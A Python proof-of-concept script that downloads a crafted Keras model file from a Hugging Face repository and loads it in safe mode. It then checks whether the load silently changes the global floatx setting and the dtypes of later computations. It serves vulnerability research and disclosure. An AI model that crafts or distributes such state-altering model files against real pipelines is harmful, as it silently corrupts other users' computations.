#!/usr/bin/env python3
"""Verify the public Keras set_floatx payload against later benign helper APIs."""

from __future__ import annotations

import json
import os
import shutil
import tempfile
import urllib.request
from pathlib import Path

import numpy as np


URL = (
    "https://huggingface.co/hacnho/keras-set-floatx-poc/resolve/main/"
    "dead_switch_keras_config_set_floatx.keras"
)


def capture(keras_module) -> dict:
    out = {"floatx": keras_module.config.floatx()}
    out["ops_ones_dtype"] = str(keras_module.ops.ones((2, 2)).dtype)
    out["random_uniform_dtype"] = str(keras_module.random.uniform((2, 2)).dtype)
    x = np.array([[1.0, 2.0]], dtype=np.float32)
    inp = keras_module.Input(shape=(2,))
    y = keras_module.layers.Dense(1, use_bias=False, kernel_initializer="ones")(inp)
    model = keras_module.Model(inp, y)
    pred = model(x)
    out["dense_out_dtype"] = str(pred.dtype)
    out["dense_out_value"] = pred.tolist()
    return out


def main() -> int:
    os.environ.setdefault("KERAS_BACKEND", "numpy")
    td = Path(tempfile.mkdtemp(prefix="hf_keras_floatx_"))
    try:
        dst = td / "dead_switch_keras_config_set_floatx.keras"
        urllib.request.urlretrieve(URL, dst)

        import keras

        payload = {"load_result": None, "before": None, "after": None}
        payload["before"] = capture(keras)
        try:
            loaded = keras.saving.load_model(dst, safe_mode=True)
            payload["load_result"] = f"ok:{type(loaded).__name__}"
        except Exception as exc:  # noqa: BLE001
            payload["load_result"] = f"{type(exc).__name__}: {exc}"
        payload["after"] = capture(keras)
        print(json.dumps(payload, indent=2))
        return 0
    finally:
        shutil.rmtree(td, ignore_errors=True)


if __name__ == "__main__":
    raise SystemExit(main())